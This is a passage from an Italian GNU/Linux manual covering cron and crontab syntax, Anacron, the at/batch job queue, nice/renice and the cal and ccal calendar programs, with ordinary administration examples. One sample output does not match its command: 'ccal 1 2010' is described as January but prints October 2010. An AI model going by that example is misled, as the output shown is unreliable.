minuti	da 0 a 59;
ore	da 0 a 23;
giorni del mese	da 1 a 31;
mesi	da 1 a 12;
giorni della settimana	da 0 a 7, dove sia zero, sia sette corrispondono alla domenica.

Per ognuno di questi campi, i valori possono essere indicati in vari modi con diversi significati.

- **Valori singoli**

  Un numero isolato all'interno di un campo indica che il comando deve essere eseguito quando l'orologio del sistema raggiunge quel valore. Per esempio, '`10 6 * * *`' rappresenta esattamente le ore 06:10 di ogni giorno.

- **Intervalli**

  Un intervallo, rappresentato da una coppia di numeri separati da un trattino, indica che il comando deve essere eseguito ogni volta che l'orologio del sistema raggiunge uno di quei valori possibili. Per esempio, '`10 6 1-5 * *`' rappresenta esattamente le ore 06:10 dei primi cinque giorni di ogni mese.

- **Elenchi**

  Un elenco, rappresentato da una sequenza di numeri separati da una virgola (senza spazi), indica che il comando deve essere eseguito ogni volta che l'orologio del sistema raggiunge uno di quei valori. Per esempio, '`10 6 1-5 1,3,5 *`' rappresenta esattamente le ore 06:10 dei primi cinque giorni di gennaio, marzo e maggio.

  Gli elenchi possono essere anche combinati con gli intervalli. Per esempio, '`10 6 1-5 1-3,5-7 *`' rappresenta esattamente le ore 06:10 dei primi cinque giorni di gennaio, febbraio, marzo, maggio, giugno e luglio.

- **Passo**

  Invece di indicare momenti precisi, è possibile richiedere una ripetizione o un passo. Questo può essere rappresentato con una barra obliqua seguita da un valore e indica che il comando deve essere eseguito ogni volta che è trascorsa quella unità di tempo. Per esempio, '`*/10 6 * * *`' rappresenta le ore 06:10, 06:20, 06:30, 06:40, 06:50 e 06:00. In pratica, corrisponde a '`0,10,20,30,40,50 6 * * *`'.

  Il passo può essere combinato opportunamente con gli intervalli. Per esempio, '`0-30/10 6 * * *`' rappresenta le 06:00, le 06:10, le 06:20 e le 06:30. In pratica, corrisponde a '`0,10,20,30 6 * * *`'.

Quello che appare dopo i cinque campi dell'orario viene interpretato come un comando da eseguire. Più precisamente, viene considerato tale tutto quello che appare prima della conclusione della riga o di un segno di percentuale ('`%`'). Quello che eventualmente segue dopo il primo segno di percentuale viene interpretato come testo da inviare allo standard input del comando stesso. Se all'interno del testo da inviare appaiono altri segni di percentuale, questi vengono trasformati in codici di interruzione di riga.

Segue un esempio commentato di file crontab tratto da *crontab(5)*.

```
#
# Utilizza «/bin/sh» per eseguire i comandi, indipendentemente da
# quanto specificato all'interno di «/etc/passwd».
#
SHELL=/bin/sh
#
# Invia i messaggi di posta elettronica all'utente «tizio»,
# indipendentemente dal proprietario di questo file crontab.
#
MAILTO=tizio
#
```

```
# Esegue 5 minuti dopo la mezzanotte di ogni giorno.
#
5 0 * * *       $HOME/bin/giornaliero >> $HOME/tmp/out 2>&1
#
# Esegue alle ore 14:15 del primo giorno di ogni mese.
# L'output viene inviato tramite posta elettronica all'utente «tizio».
#
15 14 1 * *     $HOME/bin/mensile
#
# Esegue alle 22 di ogni giorno lavorativo (da lunedì al venerdì).
# In particolare viene inviato un messaggio di posta elettronica a
# «caio».
#
0 22 * * 1-5    mail -s "Sono le 22" caio%Caio,%%Vai a letto!%
#
# Esegue 23 minuti dopo mezzanotte, dopo le due, dopo le quattro,...,
# ogni giorno.
#
23 0-23/2 * * * echo "Ciao ciao"
#
# Esegue alle ore 04:05 di ogni domenica.
#
5 4 * * 0       echo "Buona domenica"
```

11.5.4 File «/etc/crontab»

Il file '`/etc/crontab`' ha un formato leggermente diverso da quello dei file crontab normali. In pratica, dopo l'indicazione dei cinque campi data-orario, si inserisce il nome dell'utente in nome del quale deve essere eseguito il comando indicato successivamente.

Nell'esempio seguente, tutti i comandi vengono eseguiti per conto dell'utente '**`root`**', ovvero, vengono eseguiti con i privilegi di questo utente.

```
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# Run any at jobs every minute
* * * * * root [ -x /usr/sbin/atrun ] && /usr/sbin/atrun

# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 1 * * * root run-parts /etc/cron.daily
02 2 * * 0 root run-parts /etc/cron.weekly
02 3 1 * * root run-parts /etc/cron.monthly

# Remove /tmp, /var/tmp files not accessed in 10 days (240 hours)
41 02 * * * root /usr/sbin/tmpwatch 240 /tmp /var/tmp

# Remove formatted man pages not accessed in 10 days
39 02 * * * root /usr/sbin/tmpwatch 240 /var/catman/cat?
```

Una parte dell'esempio mostrato è abbastanza comune nelle varie distribuzioni GNU e merita una spiegazione aggiuntiva. A metà dell'esempio appare l'avvio del comando '**`run-parts`**' a cadenza oraria, giornaliera, settimanale e mensile. Per esempio, la direttiva seguente avvia il comando '**`run-parts /etc/cron.hourly`**' ogni ora:

```
01 * * * * root run-parts /etc/cron.hourly
```

Il nome '**`run-parts`**' corrisponde a un programma (a volte realizzato in forma di script) che avvia tutti gli eseguibili contenuti nella directory indicata come argomento (salva la possibilità che alcuni file con nomi particolari siano esclusi); per cui, '**`run-parts /etc/cron.hourly`**' serve ad avviare tutto quello che c'è nella directory '`/etc/cron.hourly/`'.

Nella propria distribuzione GNU, il nome utilizzato per questo programma potrebbe essere diverso, così come i nomi delle directory, ma ciò che conta è comprendere che per inserire un'elaborazione nei momenti più comuni, basta mettere il programma o lo script relativo nella directory che rappresenta la cadenza desiderata. Questo, tra le altre cose, permette di realizzare dei pacchetti applicativi con tutto ciò che serve per fare in modo che il sistema Cron si preoccupi di loro nel modo corretto (senza dover intervenire manualmente nei file crontab).

Una realizzazione molto semplice di '**`run-parts`**' in forma di script potrebbe essere simile a quella seguente:

```
#!/bin/sh

for I in $1/* ; do
    if [ -x $I ]; then
        $I
    fi
done

exit 0
```

11.5.5 File «/etc/cron.d/*»

Alcune distribuzioni GNU introducono una variante, estendendo il crontab di sistema ai file contenuti nella directory '`/etc/cron.d/`'. Questi file sono altrettanti crontab con la stessa sintassi di '`/etc/crontab`', i quali vengono scanditi assieme a quello principale. L'utilità di questo sta nel fatto di evitare che i pacchetti che si installano debbano modificare il file crontab di sistema, limitandosi a gestire il proprio file particolare nella directory '`/etc/cron.d/`'.

11.6 Anacron

Cron è un sistema di pianificazione adatto principalmente per gli elaboratori che restano in funzione ininterrottamente per molto tempo; infatti, se non si accende mai l'elaboratore nell'intervallo di tempo in cui sarebbe previsto l'avvio di elaborazioni a cadenza giornaliera, settimanale o mensile, queste verrebbero automaticamente escluse. Per risolvere il problema e per garantire l'avvio di quelle elaborazioni, si può utilizzare Anacron.[5]

Anacron è un sistema di pianificazione che permette soltanto di programmare l'esecuzione di elaborazioni determinate a cadenza giornaliera, o a multipli di giorni. La sua logica è molto semplice: utilizza un file di configurazione, '`/etc/anacrontab`', concettualmente analogo al crontab di Cron, in cui si indica soltanto l'intervallo in giorni per l'esecuzione di processi determinati. Per mantenere memoria di ciò che è stato fatto, utilizza dei file nella directory '`/var/spool/anacron/`', annotando in che giorno ha eseguito un certo compito per l'ultima volta.

Questo sistema è gestito in pratica dall'eseguibile '**`anacron`**', il quale si comporta normalmente come un demone, restando in funzione solo per il tempo necessario a completare il suo lavoro: il giorno successivo, deve essere riavviato.

11.6.1 File «/etc/anacrontab»

Il file '`/etc/anacrontab`' si utilizza per configurare il comportamento di Anacron. Il file può contenere la definizione di alcune variabili di ambiente, così come si farebbe con una shell standard, quindi è composto da record (righe) che descrivono i vari compiti da eseguire. Come nel caso dei file crontab normali, le righe bianche e quelle vuote vengono ignorate; nello stesso modo sono ignorate le righe che iniziano con il simbolo '**#**'.

n_giorni n_minuti_ritardo nome_attribuito_al_job comando

I record che definiscono i compiti di Anacron sono composti da campi separati da spazi bianchi di qualunque tipo:

1. il primo campo è un numero che esprime la cadenza in giorni con cui deve essere eseguito il comando;
2. il secondo campo è un altro numero che esprime un ritardo in minuti, che deve essere atteso prima di cominciare;
3. il terzo campo attribuisce un nome al compito;

4. l’ultimo campo è il comando corrispondente al compito e, in questo caso particolare, può contenere spazi.

Il significato dei campi dovrebbe essere abbastanza logico. In particolare, il ritardo viene stabilito per evitare che in un certo momento possano essere messi in funzione simultaneamente troppi processi, tenendo conto che è normale inserire l’avvio di Anacron all’interno della stessa procedura di inizializzazione del sistema.

È necessario attribuire un nome a ogni record (il compito, ovvero il *job*, secondo questa logica), per permettere a Anacron di annotarsi quando il comando relativo viene eseguito, in modo da determinare ogni volta se il tempo previsto è scaduto o meno.

La definizione di variabili di ambiente può essere necessaria, specialmente quando si prevede l’avvio di Anacron in modo automatico, attraverso la procedura di inizializzazione del sistema; in tal caso diventa fondamentale attribuire un valore alle variabili ***SHELL*** e ***PATH***. Si osservi l’esempio seguente:

```
# /etc/anacrontab

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

1       5       cron.daily      run-parts /etc/cron.daily
7       10      cron.weekly     run-parts /etc/cron.weekly
30      15      cron.monthly    run-parts /etc/cron.monthly
```

Oltre alla definizione delle variabili, si può vedere la dichiarazione di tre compiti che riguardano l’esecuzione di altrettanti comandi a cadenza giornaliera, settimanale e mensile. I tre compiti vengono avviati a distanza di cinque minuti uno dall’altro e anche il primo di questi attende cinque minuti per sicurezza. Si intuisce che questa pianificazione si affianchi a quella del crontab di sistema, in modo da garantire l’esecuzione degli script contenuti nelle directory ‘`/etc/cron.daily`’, ‘`/etc/cron.weekly`’ e ‘`/etc/cron.monthly`’.

11.6.2 Avvio di «anacron»

L’eseguibile ‘**`anacron`**’ è quello che svolge in pratica il lavoro di gestione del sistema Anacron. Può essere avviato anche da utenti comuni, ma in generale questo non si fa, lasciando che sia la stessa procedura di inizializzazione del sistema a preoccuparsene.

```
anacron [opzioni]
```

Quando viene avviato, si mette normalmente a funzionare sullo sfondo, disimpegnandosi dal processo che lo ha avviato (diventando figlio del processo principale); quindi legge il file di configurazione e controlla nella directory ‘`/var/spool/anacron/`’ quando è stata l’ultima volta che ha eseguito ogni compito previsto; di conseguenza avvia i comandi relativi ai compiti scaduti, aggiornando i file relativi nella stessa directory. L’avvio di questi comandi avviene di norma rispettando il ritardo indicato nel file di configurazione. Al termine, l’eseguibile ‘**`anacron`**’ termina di funzionare.

Di solito, Anacron viene gestito direttamente dalla procedura di inizializzazione del sistema; in tal caso, è normale che l’eseguibile sia avviato con l’opzione ‘**`-s`**’, che fa in modo di mettere

in serie l'esecuzione dei compiti. In pratica, si evita che venga avviato un altro compito prima che sia terminata l'esecuzione di quello precedente.

Per evitare conflitti tra Anacron e Cron, quando potrebbe essere consentito a Cron di eseguire le stesse elaborazioni, conviene fare in modo che Cron «avvisi» Anacron nel momento in cui queste vengono svolte. In pratica, si utilizza l'opzione '**-u**' di '**anacron**', con la quale si ottiene proprio questo: aggiornare le date annotate nei file contenuti nella directory '`/var/spool/anacron/`'. Per comprendere meglio la cosa, si pensi alla situazione tipica, ovvero quella in cui si predispongono le solite directory '`/etc/cron.daily/`', '`/etc/cron.weekly/`' e '`/etc/cron.monthly/`', che devono contenere gli script da eseguire con cadenza giornaliera, settimanale e mensile, da parte di Cron o Anacron, indifferentemente. Per evitare che Anacron rifaccia quello che potrebbe avere già fatto Cron, si mette lo script '**0anacron**' in ognuna di queste directory (lo zero iniziale garantisce che questo sia il primo script a essere avviato). Nel caso si '`/etc/cron.daily/0anacron`', il contenuto potrebbe essere:

```
#!/bin/sh

anacron -u cron.daily
```

Questo dice a Anacron di aggiornare la data abbinata al compito '**cron.daily**', in modo da evitare di ripeterne l'esecuzione prima del necessario; inoltre, questo script non crea problemi a Anacron stesso, nel momento in cui dovesse essere avviato come parte del comando relativo a un compito.

11.7 At

L'esecuzione di un'elaborazione può essere necessaria una volta sola in una data e in un orario stabilito, oppure quando l'attività del sistema è ridotta. Anche se in generale la gestione della pianificazione dei processi è gestita dal sistema Cron, per questo scopo particolare gli si affianca il sistema At.[6]

A seconda dei casi, può trattarsi di un sottosistema di pianificazione dipendente da Cron, oppure può essere gestito da un demone indipendente: nel primo caso viene gestito dal programma '**atrun**', che a sua volta viene avviato periodicamente (di solito una volta al minuto) da Cron; nel secondo caso si fa affidamento sul demone '**atd**' che non interferisce in alcun modo con Cron.

Per verificare in che modo è organizzata la propria distribuzione GNU a proposito di At, si può osservare il file crontab di sistema, oppure quello dell'utente '**root**'; in alternativa si può osservare l'albero dei processi (con '**pstree**') per vedere se c'è in funzione il demone '**atd**'. Naturalmente, nel caso di gestione attraverso il demone '**atd**', dovrebbe esserci anche uno script che si occupa di avviarlo e di fermarlo nell'ambito della procedura di inizializzazione del sistema ('`/etc/init.d/atd`' o simile).

'**atrun**' o '**atd**' eseguono dei compiti accodati su diversi tipi di code dai programmi '**at**' e '**batch**'. Queste code sono classificate per importanza (priorità) attraverso una lettera alfabetica: le lettere minuscole si riferiscono a compiti accodati da '**at**', mentre quelle maiuscole rappresentano compiti accodati da '**batch**'.

La differenza tra questi due comandi sta nel fatto che il primo accoda comandi da eseguire in un momento determinato, mentre con il secondo, questi vengono eseguiti non appena l'attività del sistema raggiunge un livello sufficientemente basso da non disturbare l'esecuzione di processi più importanti.

Le code di questi compiti si trovano normalmente all'interno di '`/var/spool/cron/atjobs/`'.

L'utilizzo di '**`at`**' e '**`batch`**' può essere controllato attraverso due file: '`/etc/at.allow`' e '`/etc/at.deny`'. Se esiste '`/etc/at.allow`', solo gli utenti elencati al suo interno possono utilizzare '**`at`**' e '**`batch`**'. Se '`/etc/at.allow`' non esiste, viene preso in considerazione '`/etc/at.deny`' e gli utenti elencati al suo interno non possono utilizzare '**`at`**' e '**`batch`**'. Se questi due file non esistono, allora non si pongono limiti all'utilizzo di questi programmi.

11.7.1 Ambiente

Quando si decide di fare eseguire un comando in un momento successivo a quello attuale, si presenta il problema di definire l'ambiente in cui questo deve trovarsi. In linea di massima si può dire che si fa riferimento alla stessa situazione in cui ci si trova nel momento in cui si accoda il compito relativo. Si tratta dell'identità dell'utente (il numero UID), della directory corrente, della maschera dei permessi (per la creazione dei file) e delle variabili di ambiente. In particolare, le variabili ***TERM***, ***DISPLAY*** e il parametro '**`$_`**' non mantengono il loro valore originale.

11.7.2 Restituzione dell'output

Quando si pianifica l'esecuzione di un comando in un momento successivo, si ha il problema di stabilire dove debba essere diretto il suo output. Sarebbe buona norma indicarlo già nel comando, per esempio ridirigendo sia lo standard output che lo standard error in un file. Se qualcosa sfugge, l'output non ridiretto viene inviato all'utente che ha accodato il compito relativo attraverso un messaggio di posta elettronica (più precisamente attraverso '`/bin/mail`').

11.7.3 Utilizzo di «at», «batch», «atq» e «atrm»

Il programma '**`at`**' permette di pianificare, in un certo orario, l'esecuzione di un comando attraverso la shell predefinita, corrispondente a '`/bin/sh`'. Il comando o i comandi da eseguire vengono ricevuti dallo standard input, oppure da un file se ciò è specificato attraverso le opzioni.

```
at [opzioni] orario
```

L'orario di esecuzione può essere specificato in vari modi, anche combinando alcune parole chiave che in generale si riferiscono ai termini e alle abitudini dei paesi di lingua inglese.

Tabella 11.18. Orari: la tabella contiene un elenco di ciò che può essere utilizzato ragionevolmente in ambito internazionale.

Sintassi	Descrizione
hhmm [AM|PM] *hh*:*mm* [AM|PM]	Specifica un orario espresso in ore e minuti. Il simbolo '`:`' di separazione tra le due cifre che rappresentano le ore e quelle dei minuti, è facoltativo. L'utilizzo delle sigle '**`AM`**' e '**`PM`**' non è consigliabile: in generale, è preferibile esprimere gli orari utilizzando la notazione internazionale di 24 ore. A un orario si possono aggiungere due indicazioni ulteriori: '**`today`**' (oggi); '**`tomorrow`**' (domani).
mmggaa *mm*/*gg*/*aa* *gg*.*mm*.*aa*	Una data può essere espressa con un gruppo di sei cifre, separate eventualmente da una barra obliqua ('`/`'), con la sequenza mese-giorno-anno, oppure utilizzando il punto ('`.`') come separatore, con la sequenza giorno-mese-anno.
`now`	La sigla '**`now`**' viene usata per definire il momento attuale e si combina normalmente con una definizione di ritardo.
momento_di_partenza ↩ ↪+ *quantità_del_ritardo* *unità_di_tempo*	Questa forma permette di stabilire un ritardo nell'avvio dei processi a partire dal momento indicato come riferimento. Il momento iniziale può essere '**`now`**' che si riferisce al momento presente, oppure un orario preciso. La durata del ritardo viene espressa da un numero che rappresenta una quantità definita subito dopo: '**`minutes`**' (minuti); '**`hours`**' (ore); '**`days`**' (giorni); '**`weeks`**' (settimane).

Tabella 11.19. Alcune opzioni.

Sintassi	Descrizione
`-q` *coda*	Permette di definire la coda. Si tratta di una lettera alfabetica minuscola, dalla '**`a`**' alla '**`z`**' e dalla '**`A`**' alla '**`Z`**'. La coda predefinita di '**`at`**' è quella corrispondente alla lettera '**`a`**', mentre quella di '**`batch`**' è quella della lettera '**`b`**'. Se si utilizzano lettere successive, i compiti associati ricevono un valore nice maggiore.
`-m`	Attraverso il sistema di posta elettronica, invia un messaggio all'utente che ha accodato la richiesta quando il compito è stato svolto.
`-f` *file*	Legge i comandi da eseguire da un file, invece che dallo standard input.
`-l`	Si comporta come '**`atq`**' e informa dei compiti in coda.
`-d`	Si comporta come '**`atrm`**'.
`-v`	Riguarda il funzionamento in modalità '**`atq`**' e permette di conoscere l'orario di esecuzione.
`-c` *job*...	Emette attraverso lo standard output il contenuto della coda associata al numero, o ai numeri dei compiti indicati. Viene in pratica emesso il contenuto del file che costituisce la coda associata al compito indicato.

Segue la descrizione di alcuni esempi.

- `$` **`at -f routine 13:30 + 3 days`** [*Invio*]

Esegue i comandi contenuti nel file '`routine`', fra tre giorni, alle ore 13:30.

- `$` **`at 15:00 tomorrow`** [*Invio*]

  Esegue nel giorno successivo, alle ore 15:00, i comandi che vengono inseriti di seguito (si conclude con una combinazione [*Ctrl d*]).

- `$` **`at 10:00 10.11.2011`** [*Invio*]

  Il 10 novembre 2011 alle ore 10:00 esegue i comandi da specificare successivamente.

La tabella successiva riassume l'utilizzo degli altri eseguibili che compongono At.

Tabella 11.20. '**`batch`**', '**`atq`**' e '**`atrm`**'.

Sintassi	Descrizione
`batch` [*opzioni*] [*orario*]	'**`batch`**' è normalmente un collegamento all'eseguibile '**`at`**'. Quando '**`at`**' viene avviato usando il nome '**`batch`**', i compiti associati vengono eseguiti non appena il livello di carico del sistema diventa ragionevolmente basso da permetterlo. In pratica, si può anche indicare un momento particolare (un orario), ma l'esecuzione può avvenire solo quando il sistema si trova ad avere un'attività ridotta.
`atq` [*opzioni*]	'**`atq`**' è normalmente un collegamento al programma '**`at`**'. Quando '**`at`**' viene avviato usando il nome '**`atq`**', emette l'elenco dei compiti in coda. Se viene specificata una coda attraverso l'opzione '**`-q`**', si limita a fare l'analisi di quella in particolare.
`atrm` *job*...	'**`atrm`**' è normalmente un collegamento al programma '**`at`**'. Quando '**`at`**' viene avviato usando il nome '**`atrm`**', elimina dalla coda i compiti specificati nella riga di comando.

11.7.4 Analisi di un esempio

L'esempio seguente dovrebbe permettere di comprendere il meccanismo attraverso cui viene registrata la situazione dell'istante in cui si accoda un compito. L'intenzione è quella di fare eseguire il programma '**`ls`**', alle ore 16:30, nella directory corrente nel momento in cui si accoda il compito, generando il file '`esempio`' (nella stessa directory) con l'output ottenuto. L'utente che accoda il comando è '**`tizio`**'.

`$` **`at 16:30`** [*Invio*]

```
warning: commands will be executed using /bin/sh
```

`at>` **`ls > ./esempio`** [*Invio*]

`at>` [*Ctrl d*]

```
Job 1 at 2010-09-22 16:30
```

A questo punto si può dare un'occhiata alla coda.

`$` **`atq`** [*Invio*]

```
1       2010-09-22 16:30 a tizio
```

Con i privilegi dell'utente '**`root`**', è possibile dare un'occhiata all'interno della directory '`/var/spool/cron/atjobs/`' per scoprire che è stato creato uno script, in questo caso denominato '**`a0000400ee8c66`**'. Segue il listato, molto semplificato, di quello che potrebbe essere il suo contenuto.

```
#!/bin/sh
# atrun uid=1001 gid=1001
# mail  tizio 0
umask 22
PS1=\\u@\\h:\\w\\\$\ ; export PS1
USER=tizio; export USER
MAIL=/home/tizio/mail/mbox; export MAIL
LANG=it_IT.UTF-8; export LANG
LOGNAME=tizio; export LOGNAME
SHLVL=1; export SHLVL
HOME=/home/tizio; export HOME
PATH=:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11; export PATH
cd /home/tizio || {
         echo 'Execution directory inaccessible' >&2
         exit 1
}
ls > ./esempio
```

Nella prima parte viene definita la maschera dei permessi attraverso il comando '**`umask`**'.

```
umask 22
```

Quindi seguono degli assegnamenti di variabili esportate che riproducono l'ambiente del momento in cui il compito è stato sottoposto.

```
PS1=\\u@\\h:\\w\\\$\ ; export PS1
USER=tizio; export USER
MAIL=/home/tizio/mail/mbox; export MAIL
LANG=it_IT.UTF-8; export LANG
...
```

Al termine, prima dell'esecuzione dei comandi richiesti, viene eseguito lo spostamento nella directory che, nel momento in cui è stato sottoposto il compito, risulta essere quella corrente. Se l'operazione fallisce viene interrotto lo script.

```
cd /home/tizio || {
         echo 'Execution directory inaccessible' >&2
         exit 1
}
```

11.8 Priorità

La priorità di esecuzione di un processo può essere modificata attraverso il valore nice che viene sommato, in modo algebrico, al valore di questa.

Quando si parla di priorità occorre però fare attenzione al contesto: di solito, un valore basso significa precedenza (quindi priorità) rispetto ai valori superiori. Spesso però si parla di priorità maggiore o minore in maniera impropria: quando si consulta della documentazione in cui si fa riferimento al concetto di priorità bisogna fare bene attenzione a non confondersi.

Dal momento che il valore nice viene sommato alla priorità, se nice è pari a zero non altera la priorità di esecuzione di un processo, se ha un valore positivo ne rallenta l'esecuzione, se invece ha un valore negativo ne accelera il funzionamento.

Alcuni programmi ricevono dal sistema un valore di priorità particolarmente basso per motivi fisiologici di funzionamento del sistema stesso. Il pretendere di portare agli stessi livelli di priorità altri programmi potrebbe comportare il blocco del sistema operativo. In pratica, anche se si tenta di dare a un processo un valore nice negativo, spesso il sistema non reagisce con un'eguale diminuzione del valore della priorità. Inoltre, solo l'utente '**`root`**' può attribuire ai processi valori nice inferiori a zero.

Di solito quindi, il valore nice viene usato per ridurre la velocità di esecuzione di un processo in modo da alleggerire l'impiego di risorse da parte dello stesso. Spesso si combina questa tecnica assieme all'utilizzo di elaborazioni sullo sfondo.

A fianco del problema della modifica della priorità di esecuzione di un programma c'è quello di mantenere in funzione un programma anche dopo la disconnessione del terminale dal quale questo viene avviato.

11.8.1 Utilizzo di «nice»

Il programma '**`nice`**' serve a eseguire un comando con un valore nice diverso dal normale. Minore è questo valore, maggiori sono le risorse (in termini di rapidità di esecuzione) che il sistema gli concede:

```
nice [-n variazione] [comando [argomenti]]
```

L'esecuzione senza alcun argomento visualizza il livello attuale del valore nice. Se viene specificato il nome di un comando, ma non viene indicato il livello di variazione (*adjustment*), il valore nice del comando indicato come argomento viene incrementato di 10 rispetto al valore attuale. Il livello di variazione può andare da un minimo di −20 a un massimo di +19, ma solo l'utente '**`root`**' può attribuire variazioni negative.[7]

11.8.2 Utilizzo di «renice»

Il programma '**`renice`**'[8] modifica il valore nice di uno o più processi:

```
renice -n priorità [-p pid...] [-g pid_di_gruppo...] [-u utente...]
```

È possibile indicare un processo singolo, un processo che faccia capo a un gruppo (un processo dal quale discendono altri processi), oppure tutti i processi che appartengono a un certo utente.

Tabella 11.28. Alcune opzioni.

Sintassi	Descrizione
`-p` ***pid***	Indica esplicitamente che si fa riferimento a un processo singolo, indicato attraverso il numero PID.
`-g` ***pid_di_gruppo***	Indica un processo, attraverso il numero PID, riferendosi anche a tutti i suoi processi discendenti.
`-u` ***utente***	Indica che si fa riferimento a tutti i processi avviati con i privilegi dell'utente indicato per nome.

[1] **GNU core utilities** GNU GPL

[2] **util-linux: hwclock** GNU GPL

[3] Indipendentemente dal fatto che il demone '**`cron`**' necessiti o meno di essere avvisato.

[4] **Vixie Cron** software libero con licenza speciale

[5] **Anacron** GNU GPL

[6] **At** GNU GPL

[7] **GNU core utilities** GNU GPL

[8] **Renice** UCB BSD

Capitolo 12

Calendario

12.1 Utilizzo di «cal» 529

12.2 Utilizzo di «ccal» 530

12.3 Utilizzo di «ncal» 532

12.4 Utilizzo di «gcal» 533

12.5 Utilizzo di «calendar» 536

12.6 Utilizzo di «pcal» 538

12.7 File di ricorrenze e scadenze compatibile 542

`cal` 529 `calendar` 536 `ccal` 530 `gcal` 533 `ncal` 532 `pcal` 538

La gestione dell'orologio di sistema serve alla vita del sistema operativo; pertanto, in questa logica, il tempo non esiste prima del 1970 e nemmeno esiste un futuro troppo lontano. Esistono tuttavia dei programmi in grado di calcolare un calendario, più o meno «perpetuo», ma a questo proposito è bene tenere a mente il problema della riforma gregoriana, che purtroppo non è stata applicata in tutto il mondo nello stesso modo.

12.1 Utilizzo di «cal»

Il programma '**`cal`**'[1] serve a visualizzare un calendario molto semplice. Se non si indicano argomenti nella riga di comando, '**`cal`**' si limita a mostrare il mese attuale (in base alla data dell'orologio del sistema).

```
cal [opzioni] [mese [anno]]
```

È possibile indicare un mese particolare, di un certo anno, oppure solo un anno. Il mese si indica con un numero da 1 a 12, mentre l'anno si indica con un numero da 1 a 9999. A questo proposito, è bene precisare che se si indica un numero soltanto tra gli argomenti, questo viene inteso come l'anno e non il mese.

Il programma '**`cal`**' è sensibile alla configurazione locale, attraverso la variabile di ambiente ***LANG***, oppure le variabili ***LC_**** (si veda la sezione 18.11). Così facendo, si ottengono i nomi delle settimane e dei mesi nella lingua prescelta.

Tabella 12.1. Alcune opzioni.

Opzione	Descrizione
`-j`	Mostra la data giuliana; in pratica, si numerano i giorni a partire dall'inizio dell'anno, dove il primo giorno corrisponde al numero uno.
`-m`	Mostra il lunedì come il primo giorno della settimana.
`-y`	Mostra il calendario di tutto l'anno.

Segue la descrizione di alcuni esempi.

- $ **`cal`** [*Invio*]

  Mostra il calendario del mese corrente.

- $ **`cal -m`** [*Invio*]

  Come nell'esempio precedente, mettendo il lunedì all'inizio della settimana.

- $ **`cal -m 1752`** [*Invio*]

  Mostra il calendario dell'anno 1752, che si considera essere quello dell'entrata in vigore della riforma gregoriana in Gran Bretagna e nelle sue colonie.

- $ **`cal -m 9 1752`** [*Invio*]

  Mostra il calendario di settembre 1752. Il risultato che si ottiene è il seguente:

```
   settembre 1752
lu ma me gi ve sa do
    1  2 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30
```

12.2 Utilizzo di «ccal»

Il programma '**`ccal`**' [2] serve a visualizzare un calendario molto semplice, utilizzando i colori se il terminale lo consente. Se non si indicano argomenti nella riga di comando, '**`ccal`**' si limita a mostrare il mese attuale (in base alla data dell'orologio del sistema).

`ccal` [***opzioni***] [***mese*** [***anno***]]

A differenza del programma '**`cal`**' tradizionale, con questo è possibile annotare degli appuntamenti o delle scadenze in un file, per metterle in evidenza quando serve. Per approfondire l'uso di questo programma si deve consultare la pagina di manuale *ccal(1)*; qui vengono mostrati solo alcuni esempi elementari.

- $ **`ccal`** [*Invio*]

  Mostra il calendario del mese in corso, dove appare evidenziato il giorno attuale (in questo caso si tratta del 23 settembre 2004).

```
   September 2004
Mo Tu We Th Fr Sa Su
       1  2  3  4  5
 6  7  8  9 10 11 12
13 14 15 16 17 18 19
20 21 22<23>24 25 26
27 28 29 30
```

- $ **ccal 1 2010** [*Invio*]

  Mostra il calendario del mese di gennaio 2010.

```
    October 2010
Mo Tu We Th Fr Sa Su
             1  2  3
 4  5  6  7  8  9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
```

- $ **ccal 2010** [*Invio*]

  Mostra il calendario di tutto l'anno 2010.

```
                              2010

        Jan                    Feb                    Mar
Mo Tu We Th Fr Sa Su   Mo Tu We Th Fr Sa Su   Mo Tu We Th Fr Sa Su
             1  2  3    1  2  3  4  5  6  7    1  2  3  4  5  6  7
 4  5  6  7  8  9 10    8  9 10 11 12 13 14    8  9 10 11 12 13 14
11 12 13 14 15 16 17   15 16 17 18 19 20 21   15 16 17 18 19 20 21
18 19 20 21 22 23 24   22 23 24 25 26 27 28   22 23 24 25 26 27 28
25 26 27 28 29 30 31                          29 30 31

        Apr                    May                    Jun
Mo Tu We Th Fr Sa Su   Mo Tu We Th Fr Sa Su   Mo Tu We Th Fr Sa Su
          1  2  3  4                   1  2       1  2  3  4  5  6
 5  6  7  8  9 10 11    3  4  5  6  7  8  9    7  8  9 10 11 12 13
12 13 14 15 16 17 18   10 11 12 13 14 15 16   14 15 16 17 18 19 20
19 20 21 22 23 24 25   17 18 19 20 21 22 23   21 22 23 24 25 26 27
26 27 28 29 30         24 25 26 27 28 29 30   28 29 30
                       31
        Jul                    Aug                    Sep
Mo Tu We Th Fr Sa Su   Mo Tu We Th Fr Sa Su   Mo Tu We Th Fr Sa Su
          1  2  3  4                      1          1  2  3  4  5
 5  6  7  8  9 10 11    2  3  4  5  6  7  8    6  7  8  9 10 11 12
12 13 14 15 16 17 18    9 10 11 12 13 14 15   13 14 15 16 17 18 19
19 20 21 22 23 24 25   16 17 18 19 20 21 22   20 21 22 23 24 25 26
26 27 28 29 30 31      23 24 25 26 27 28 29   27 28 29 30
                       30 31
        Oct                    Nov                    Dec
Mo Tu We Th Fr Sa Su   Mo Tu We Th Fr Sa Su   Mo Tu We Th Fr Sa Su
             1  2  3    1  2  3  4  5  6  7          1  2  3  4  5
 4  5  6  7  8  9 10    8  9 10 11 12 13 14    6  7  8  9 10 11 12
11 12 13 14 15 16 17   15 16 17 18 19 20 21   13 14 15 16 17 18 19
18 19 20 21 22 23 24   22 23 24 25 26 27 28   20 21 22 23 24 25 26
25 26 27 28 29 30 31   29 30                  27 28 29 30 31
```

- $ **ccal 9 1752** [*Invio*]

```
     September 1752
 Mo Tu We Th Fr Sa Su
           1  2 14 15 16
 17 18 19 20 21 22 23
 24 25 26 27 28 29 30
```

Mostra il calendario del mese di settembre dell'anno 1752, secondo la convenzione della Gran Bretagna, nel quale entra in vigore la riforma gregoriana.

12.3 Utilizzo di «ncal»

